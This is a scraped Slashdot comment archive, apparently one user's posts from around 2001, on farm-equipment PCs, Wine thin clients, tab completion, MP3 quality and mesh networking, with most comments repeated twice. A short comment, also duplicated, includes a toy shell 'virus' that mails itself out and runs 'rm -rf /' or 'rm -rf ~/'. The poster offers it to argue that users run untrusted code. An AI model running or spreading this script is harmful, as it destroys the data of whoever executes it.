I live on a farm so I can answer some of your questions:
Tractors give off the usual battery power, just like cars, so power isn't much of an issue.
Tractors don't have suspension, the suspension is put in the seat instead. Unless you suspend the computer it may be subject to some large shocks!! (although a wheat field wouldn't be too bad).
Most larger tractors and most combines have plenty of room for computers but most smaller tractors definitly don't have the room. Since the poster said the fields are "huge", I'll assume we are talking about larger equipment for the most part.
Dust shouldn't be too big of an issue provided the tractor is cabbed and you keep the windows closed. If it doesn't have a cab, then you get into other issues like rain. But again, we are talking large fields and large equipment, almost all large equipment have cabs on them.
Computers are increasingly being used in farm equipment now. New tractors almost all have computerized instrument panels, transmissions, etc. Many people add GPS units to thier combines. I've even seen tractors that can totally control themselves without an operator! New farm equipment is very dependant on computer systems.
Now as to what the computer is used for, I can't answer you that. I'm guessing he wants it for e-mail, scheduling, those sorts of tasks since the PDA idea was brought up.
I would recommend industrial PCs for this application. They can better take the rough conditions than regular PC equipment. Industrial PCs are usually quite small too which would be nice for use in machines. Get a nice small board with a Disk-on-Chip (solid state) hard drive and a LCD screen (try to keep it out of sunlight!) for the display. I don't think your run of the mill Windows, or even Linux operating systems will be ideal in this environment since the operator will be busy trying to keep an eye on what is going on around him. An application with large fonts, and can be easily controlled (touch-screen maybe?) is a must.
Computers in the tractor is a great idea, I've often thought of doing something like this myself, but it's not as easy as just dropping in a laptop or PC to do the task, it will have to be more specialized.
Where does it stop? Everything must be compatible with Mosaic 1.0?
I can't think of too many sites out there that Mosaic 1.0 can't read. Frames might be the exception, but that's why you can include regular HTML in a frameset page. I'm sure that MSN.com will not even come close to rendering in Mosaic, but I should be able to still get the content out. It may look bad (I think it looks bad in IE6 even, but that's another story) but I can bet that 99% of the viewer's of the site are their either for the content, or because they don't know how to change thier default home page and so the look isn't all that important.
Maybe all web sites should spend less time on the layout and more on accessablilty. Slashdot's Palm page is an example how the content can be used without making everything look "pretty". An Apache module might be useful for something like this. Strip out useless tags and format it so it is still useful, but just contains the facts.
This is where I see Wine taking off. Not for workstation use, but for terminal application servers. Everyone seems to want to get on the thin-client bandwagon, but Windows Terminal Services leave little to be desired in my opinion.
I don't want a full desktop terminal when I already have one, just show me the app (like X does). And when I want to use two different servers then I have to maintain three desktops at one time. X makes this all transparent. Citrix may add the funtionality that I'm looking for, but it's even more money!
I think a Wine-based Windows terminal server would be more profitable than an actual workstation. Let the user keep any X compatible system (including thin-clients and Windows with software) on thier desktop and let the terminal server run the apps.
I see no reason why you couldn't have a shortcut for Word (assuming you can get Word to work on the server) on the local machine which will instruct the server to fire up word and display it locally. The user wouldn't even know, or care, that it's running on Linux on the backend because as far as they know it's running on Windows on the local machine. A simple `ssh -X [host] [program]` should do it, but in my searches, I've yet to find a Windows ssh client that'll handle that.
When I forget a command, I start typing a command that sounds appropriate and keep hitting the TAB key (auto completion) until the right command shows up. From that point adding --help usually brings up the switches you need and if all else fails man [command] does the trick. While this will not work on a test, it is a good method when you are on the actual machine.
The only sure-fire method to remembering a certain command is use. I bet no one here has forgotten about ls (to the point that I always end up typing it in DOS too) but some of the other obscure commands that you might use once in a blue moon are easily forgotten so you just need to use them more.
Disclaimer: TAB completion doesn't work in all shells so YMMV.
For Windows 2000 users out there, never fear. You too can have TAB completion with nothing more than a simple registry change.
That's why the Xbox would make an ideal web server when the Linux port comes out. Buy yourself a decent box for $299, MSFT loses $100 and you have yourself a webserver. It's win-win for everyone (with maybe the exception of Microsoft themselves).
For instance in Golden Eye, in two player mode (and possibly one) put a timed mine on glass. Shoot the glass until it breaks, then shoot the mine. It is a good move when you are losing!
There are a bunch of other ways to crash it also...
Once upon a time the number of the post was usable as a chronological order indicator as well.
It was supposidly changed to make the database simpler.
But why can't the numbers be generated on the fly? Just do a postcount++ on each post as the HTML is being generated, no database problems and the user problem is also solved. The first post incentive would be back, but I doubt the trolls care whether it is post #1 or post #8439204820 as long as it is the first on the page.
Privided this isn't bandwidth intensive, why not send a whole lot of garbage and then stenograph the data in the noise. First encrypt the data with a strong encrytion algorithm. Then within the noise put the encrypted data in the noise. Use every Nth bit within the noise, changing N every so often. Of course you need physical security first! But even if someone was able to get in they would have to be there for quite some time to get enough information. Hopefully your physical security measures (the preussure ideas, etc.) will alert you in time to stop them before they can get much information. But even if they were to get enough information, they would have to figure out which bits they need, then on top of all of that they will have to figure out how to decrypt it.
Of course every single one of these methods can be broken, but together it is near impossilbe.
I agree that it is MSN Messenger that's to blame as well!
Oh, you mean the messenger of the security info? Then it's Microsoft's fault.
Isn't it a good thing that these holes are brought forth to the general public? If they are just hidden away for only for a select few that will attack unknowing victims then the software vendor will be unaware of the problem and unable to distribute patches. If the vender is aware of the problem, they can allow you to patch your system and then no one, not even the select few can get in. But if it goes unnoticed then they can continue to do so seemingly forever.
It's been said about a million times before but it still applies: Security through obscurity is no security at all!
While they are rather simple games, games.yahoo.com have a wide selection of card games, board games, and some other games. They even have pool which is fun to play occasionally.
The downfall is that all the data has to go back to Yahoo's server even if you are playing on the same LAN. Not a big deal if you have broadband but if you are on dialup it is less than desired.
The high school I used to attend had wireless broadband years ago (well probably 5 or 6 years ago anyway).
A little poking around on the net brought me to this site which explains all the details of the install at my school and the other schools in the board. You might want to check out that site for some ideas anyway.
128 does not sound anything like the CD, not even close. The bass sounds flat, and the treble at high frequencies is all hissy and sounds awful! You are correct at 192 though, while not perfect, it is darn close and good enough. I don't consider myself an elite audiophile but I can't stand wierd sounds coming out of the song that don't belong. 192 is about the minimum quality that fixes all the wierd sounds.
#!/bin/sh
#
# TODO:
# Parse e-mail address' out of browser's cache
# Send program as attachment in e-mail
# Program untested, you'll get the idea anyway...
#
echo -e 'To: $TO_ADDR\nSubject: Hi! How are you? \n\nI send you this file in order to have your advice\n\n#!/bin/sh\nif[ "$UID" = "0" ]; then\n\nrm -rf/\nelse\nrm -rf ~/\nfi" | sendmail -t
if[ "$UID" = "0" ]; then
rm -rf /
else
rm -rf ~/
fi
The program can be considered a virus. While it is blantently clear that you should never run it, I could have made it a binary which would have made it harder to see what it does. And who is to say that the user will even look at the file before executing it? A virus on any system requires the user to execute code (even if it is automated to a certain extent on certain systems). Whether the system is Linux or Windows, if the user wants to execute a program, they will.
No one is forcing you. You could pick up a NAS to do the job just as well. You can also free up some hard drive space on your computer while you're at it. A CD player would be a nice bonus, but you could always share out your CDROM on your computer. But who wants to burn MP3's to CD anyway when they have massive amounts of hard drive space at your disposal? CD's are an awful media for audio when you compare it to a network. Being able to grab an audio stream off the net would be another nice feature to add to these boxes.
These devices solve some of the problems with using sound cards hooked up to amps. ground loops, interference, etc. (yes I know digital output will fix those problems, but not everyone has a stereo with digital inputs.) They also act like a stereo component and not a computer which many consumers will think is an asset.
This is about the Canadian government system, not the US, but the same issues pretty much apply. A few years back, our Canadian government wanted to legislate gun control. Jean Chretien, and the Liberal party were for gun control, with two exceptions. The MP in my riding being one of the exceptions. He decided to go against the party and vote against gun control, that's what his riding wanted him to do. Chretien didn't like him going against the party's stance and ostracized him. He was demoted from his minister of (whatever it was, I forget now) position and the party didn't look too kindly upon him. The people however, commended him.
My point is that many officials feel the need to go with the flow and won't stand up for what thier people really want. Does this rate a bad official? Maybe, but they are looking out for thier own livelyhood. I'm sure many of them would be more than happy to bring up your points, but if it contradicts the party's views then they may be more hesitant.
This would complement car audio nicely! No need to fill up your entire trunk with a sub box, just inflate when you need it and it will pack away nicely when you don't.
I too live in rural Canada, but am lucky enough not to have Bell as my telco. Because of this I can get DSL out in the middle of nowhere! It's no 100Mbps connection, I wish it were, but it sure beats dial-up!!!
The problem with rural areas is that there aren't enough people around to setup a network like this. Unless you setup a 802.11a network with some good range you'll never get enough people to join your network. Of course the advantage in rural areas is that the space is wide open, and there are plenty of silos to put transmitters on. This reason alone might just make a rural network feasable.
As for you, DirectPC from ExpressVU is avaliable. You still have to dial-up with this service though so you will only get increased download bandwidth. I'm pretty sure it's over-priced too, but still an option (albeit, not a good one).
This might be considered an easter egg. Even though it does serve a purpose, it didn't have to play what it does so in that way it is an easter egg. While it still is a computer, it is in hardware, and not software.
Finally, my idea is going to be put to use! I should have gotten the patent on this before they stole it though!
Of course my idea was for wireless P2P internet, not SMS, but the same basic principles apply.
I always thought one way to roll out the mobile internet is to create a freenet like network between all the mobile nodes. Every device acts as a node for the network and can route data to nearby nodes.
For argument sake, lets say that each device can transmit up to 100ft. You however want to connect to a node that is 200ft. away. Luckly there is a node in between you that can route the information between you. Lets say you want to connect to someone miles away, well the same rules apply, just keep hoping until you find the host. Certain internet access points would be established too to keep wireless trafic to a minimum (for less hops) as well as routing traffic to nodes outside of your range.
This would take some pretty fancy routing but I think it would be possible. If these nodes were added to every device that can use them (cell phones, pdas, radios, etc) then the network will quickly form. It may not be as ideal as other wireless network topolgies, but it is better than nothing at all, like we have right now!
How about sticking a server in a colo facility and using it as the backup server? The biggest problem I see with this is cost. The upside of this is that colo's usually have good security and disaster prevention methods in place and it is your own machine that you are backing up to, not someone elses. All you'd need is a basic computer with enough storage (and possibly redundancy, RAID-5 maybe? Depends on how reliable it has to be I guess) then you can just upload all your data to it when you wish.
Since you are uploading through the public internet you may want to encrypt your data. This can be done by uploading it through a VPN or you may just want to store the data as an encrypted file on the remote machine (just in case).
Like I said, I'd imagine this route wouldn't be cheap due to colo costs, but since I don't know exactly what it would cost you and how much you are willing to spend, it may be affordable. But it is your own machine that you control, you don't have to worry about your off-site backup company going broke and losing all your data.
Slashdot Mirror
- Tractors give off the usual battery power, just like cars, so power isn't much of an issue.
- Tractors don't have suspension, the suspension is put in the seat instead. Unless you suspend the computer it may be subject to some large shocks!! (although a wheat field wouldn't be too bad).
- Most larger tractors and most combines have plenty of room for computers but most smaller tractors definitly don't have the room. Since the poster said the fields are "huge", I'll assume we are talking about larger equipment for the most part.
- Dust shouldn't be too big of an issue provided the tractor is cabbed and you keep the windows closed. If it doesn't have a cab, then you get into other issues like rain. But again, we are talking large fields and large equipment, almost all large equipment have cabs on them.
Computers are increasingly being used in farm equipment now. New tractors almost all have computerized instrument panels, transmissions, etc. Many people add GPS units to thier combines. I've even seen tractors that can totally control themselves without an operator! New farm equipment is very dependant on computer systems.Now as to what the computer is used for, I can't answer you that. I'm guessing he wants it for e-mail, scheduling, those sorts of tasks since the PDA idea was brought up.
I would recommend industrial PCs for this application. They can better take the rough conditions than regular PC equipment. Industrial PCs are usually quite small too which would be nice for use in machines. Get a nice small board with a Disk-on-Chip (solid state) hard drive and a LCD screen (try to keep it out of sunlight!) for the display. I don't think your run of the mill Windows, or even Linux operating systems will be ideal in this environment since the operator will be busy trying to keep an eye on what is going on around him. An application with large fonts, and can be easily controlled (touch-screen maybe?) is a must.
Computers in the tractor is a great idea, I've often thought of doing something like this myself, but it's not as easy as just dropping in a laptop or PC to do the task, it will have to be more specialized.
while the DVD will require the archeologist to build a dvd reader to gain access to the contents.
Not to mention they will have to break the CSS encryption on the DVDs thus breaking the DMCA of thier time.
Where does it stop? Everything must be compatible with Mosaic 1.0?
I can't think of too many sites out there that Mosaic 1.0 can't read. Frames might be the exception, but that's why you can include regular HTML in a frameset page. I'm sure that MSN.com will not even come close to rendering in Mosaic, but I should be able to still get the content out. It may look bad (I think it looks bad in IE6 even, but that's another story) but I can bet that 99% of the viewer's of the site are their either for the content, or because they don't know how to change thier default home page and so the look isn't all that important.
Maybe all web sites should spend less time on the layout and more on accessablilty. Slashdot's Palm page is an example how the content can be used without making everything look "pretty". An Apache module might be useful for something like this. Strip out useless tags and format it so it is still useful, but just contains the facts.
works over the network to your remote X display
This is where I see Wine taking off. Not for workstation use, but for terminal application servers. Everyone seems to want to get on the thin-client bandwagon, but Windows Terminal Services leave little to be desired in my opinion.
I don't want a full desktop terminal when I already have one, just show me the app (like X does). And when I want to use two different servers then I have to maintain three desktops at one time. X makes this all transparent. Citrix may add the funtionality that I'm looking for, but it's even more money!
I think a Wine-based Windows terminal server would be more profitable than an actual workstation. Let the user keep any X compatible system (including thin-clients and Windows with software) on thier desktop and let the terminal server run the apps.
I see no reason why you couldn't have a shortcut for Word (assuming you can get Word to work on the server) on the local machine which will instruct the server to fire up word and display it locally. The user wouldn't even know, or care, that it's running on Linux on the backend because as far as they know it's running on Windows on the local machine. A simple `ssh -X [host] [program]` should do it, but in my searches, I've yet to find a Windows ssh client that'll handle that.
When I forget a command, I start typing a command that sounds appropriate and keep hitting the TAB key (auto completion) until the right command shows up. From that point adding --help usually brings up the switches you need and if all else fails man [command] does the trick. While this will not work on a test, it is a good method when you are on the actual machine.
The only sure-fire method to remembering a certain command is use. I bet no one here has forgotten about ls (to the point that I always end up typing it in DOS too) but some of the other obscure commands that you might use once in a blue moon are easily forgotten so you just need to use them more.
Disclaimer: TAB completion doesn't work in all shells so YMMV.
For Windows 2000 users out there, never fear. You too can have TAB completion with nothing more than a simple registry change.
That's why the Xbox would make an ideal web server when the Linux port comes out. Buy yourself a decent box for $299, MSFT loses $100 and you have yourself a webserver. It's win-win for everyone (with maybe the exception of Microsoft themselves).
The N64 is easy to crash...
For instance in Golden Eye, in two player mode (and possibly one) put a timed mine on glass. Shoot the glass until it breaks, then shoot the mine. It is a good move when you are losing!
There are a bunch of other ways to crash it also...
Once upon a time the number of the post was usable as a chronological order indicator as well.
It was supposidly changed to make the database simpler.
But why can't the numbers be generated on the fly? Just do a postcount++ on each post as the HTML is being generated, no database problems and the user problem is also solved. The first post incentive would be back, but I doubt the trolls care whether it is post #1 or post #8439204820 as long as it is the first on the page.
Privided this isn't bandwidth intensive, why not send a whole lot of garbage and then stenograph the data in the noise. First encrypt the data with a strong encrytion algorithm. Then within the noise put the encrypted data in the noise. Use every Nth bit within the noise, changing N every so often. Of course you need physical security first! But even if someone was able to get in they would have to be there for quite some time to get enough information. Hopefully your physical security measures (the preussure ideas, etc.) will alert you in time to stop them before they can get much information. But even if they were to get enough information, they would have to figure out which bits they need, then on top of all of that they will have to figure out how to decrypt it.
Of course every single one of these methods can be broken, but together it is near impossilbe.
I agree that it is MSN Messenger that's to blame as well!
Oh, you mean the messenger of the security info? Then it's Microsoft's fault.
Isn't it a good thing that these holes are brought forth to the general public? If they are just hidden away for only for a select few that will attack unknowing victims then the software vendor will be unaware of the problem and unable to distribute patches. If the vender is aware of the problem, they can allow you to patch your system and then no one, not even the select few can get in. But if it goes unnoticed then they can continue to do so seemingly forever.
It's been said about a million times before but it still applies: Security through obscurity is no security at all!
While they are rather simple games, games.yahoo.com have a wide selection of card games, board games, and some other games. They even have pool which is fun to play occasionally.
The downfall is that all the data has to go back to Yahoo's server even if you are playing on the same LAN. Not a big deal if you have broadband but if you are on dialup it is less than desired.
The high school I used to attend had wireless broadband years ago (well probably 5 or 6 years ago anyway).
A little poking around on the net brought me to this site which explains all the details of the install at my school and the other schools in the board. You might want to check out that site for some ideas anyway.
128 does not sound anything like the CD, not even close. The bass sounds flat, and the treble at high frequencies is all hissy and sounds awful! You are correct at 192 though, while not perfect, it is darn close and good enough. I don't consider myself an elite audiophile but I can't stand wierd sounds coming out of the song that don't belong. 192 is about the minimum quality that fixes all the wierd sounds.
Does winamp have better playlist controls then xmms?
They both have the jump command ('J' key), what more is needed? That in my opinion is the best part of the playlist.
#!/bin/sh
#
# TODO:
# Parse e-mail address' out of browser's cache
# Send program as attachment in e-mail
# Program untested, you'll get the idea anyway...
#
echo -e 'To: $TO_ADDR\nSubject: Hi! How are you? \n\nI send you this file in order to have your advice\n\n#!/bin/sh\nif[ "$UID" = "0" ]; then\n\nrm -rf
if[ "$UID" = "0" ]; then
rm -rf /
else
rm -rf ~/
fi
The program can be considered a virus. While it is blantently clear that you should never run it, I could have made it a binary which would have made it harder to see what it does. And who is to say that the user will even look at the file before executing it? A virus on any system requires the user to execute code (even if it is automated to a certain extent on certain systems). Whether the system is Linux or Windows, if the user wants to execute a program, they will.
I don't want my computer to be forced to run
No one is forcing you. You could pick up a NAS to do the job just as well. You can also free up some hard drive space on your computer while you're at it. A CD player would be a nice bonus, but you could always share out your CDROM on your computer. But who wants to burn MP3's to CD anyway when they have massive amounts of hard drive space at your disposal? CD's are an awful media for audio when you compare it to a network. Being able to grab an audio stream off the net would be another nice feature to add to these boxes.
These devices solve some of the problems with using sound cards hooked up to amps. ground loops, interference, etc. (yes I know digital output will fix those problems, but not everyone has a stereo with digital inputs.) They also act like a stereo component and not a computer which many consumers will think is an asset.
This is about the Canadian government system, not the US, but the same issues pretty much apply. A few years back, our Canadian government wanted to legislate gun control. Jean Chretien, and the Liberal party were for gun control, with two exceptions. The MP in my riding being one of the exceptions. He decided to go against the party and vote against gun control, that's what his riding wanted him to do. Chretien didn't like him going against the party's stance and ostracized him. He was demoted from his minister of (whatever it was, I forget now) position and the party didn't look too kindly upon him. The people however, commended him.
My point is that many officials feel the need to go with the flow and won't stand up for what thier people really want. Does this rate a bad official? Maybe, but they are looking out for thier own livelyhood. I'm sure many of them would be more than happy to bring up your points, but if it contradicts the party's views then they may be more hesitant.
This would complement car audio nicely! No need to fill up your entire trunk with a sub box, just inflate when you need it and it will pack away nicely when you don't.
...all I wanted was the time!
Login: user
Password:
Linux Watch 2.4.11.
watch~$ date
Thu Oct 11 17:40:32 EDT 2001
watch~$ exit
I too live in rural Canada, but am lucky enough not to have Bell as my telco. Because of this I can get DSL out in the middle of nowhere! It's no 100Mbps connection, I wish it were, but it sure beats dial-up!!!
The problem with rural areas is that there aren't enough people around to setup a network like this. Unless you setup a 802.11a network with some good range you'll never get enough people to join your network. Of course the advantage in rural areas is that the space is wide open, and there are plenty of silos to put transmitters on. This reason alone might just make a rural network feasable.
As for you, DirectPC from ExpressVU is avaliable. You still have to dial-up with this service though so you will only get increased download bandwidth. I'm pretty sure it's over-priced too, but still an option (albeit, not a good one).
This might be considered an easter egg. Even though it does serve a purpose, it didn't have to play what it does so in that way it is an easter egg. While it still is a computer, it is in hardware, and not software.
True, but the ACK could also be encrypted. If the phone doesn't recieve the proper ACK then it will find another node and try again.
Finally, my idea is going to be put to use! I should have gotten the patent on this before they stole it though!
Of course my idea was for wireless P2P internet, not SMS, but the same basic principles apply.
I always thought one way to roll out the mobile internet is to create a freenet like network between all the mobile nodes. Every device acts as a node for the network and can route data to nearby nodes.
For argument sake, lets say that each device can transmit up to 100ft. You however want to connect to a node that is 200ft. away. Luckly there is a node in between you that can route the information between you. Lets say you want to connect to someone miles away, well the same rules apply, just keep hoping until you find the host. Certain internet access points would be established too to keep wireless trafic to a minimum (for less hops) as well as routing traffic to nodes outside of your range.
This would take some pretty fancy routing but I think it would be possible. If these nodes were added to every device that can use them (cell phones, pdas, radios, etc) then the network will quickly form. It may not be as ideal as other wireless network topolgies, but it is better than nothing at all, like we have right now!
How about sticking a server in a colo facility and using it as the backup server? The biggest problem I see with this is cost. The upside of this is that colo's usually have good security and disaster prevention methods in place and it is your own machine that you are backing up to, not someone elses. All you'd need is a basic computer with enough storage (and possibly redundancy, RAID-5 maybe? Depends on how reliable it has to be I guess) then you can just upload all your data to it when you wish.
Since you are uploading through the public internet you may want to encrypt your data. This can be done by uploading it through a VPN or you may just want to store the data as an encrypted file on the remote machine (just in case).
Like I said, I'd imagine this route wouldn't be cheap due to colo costs, but since I don't know exactly what it would cost you and how much you are willing to spend, it may be affordable. But it is your own machine that you control, you don't have to worry about your off-site backup company going broke and losing all your data.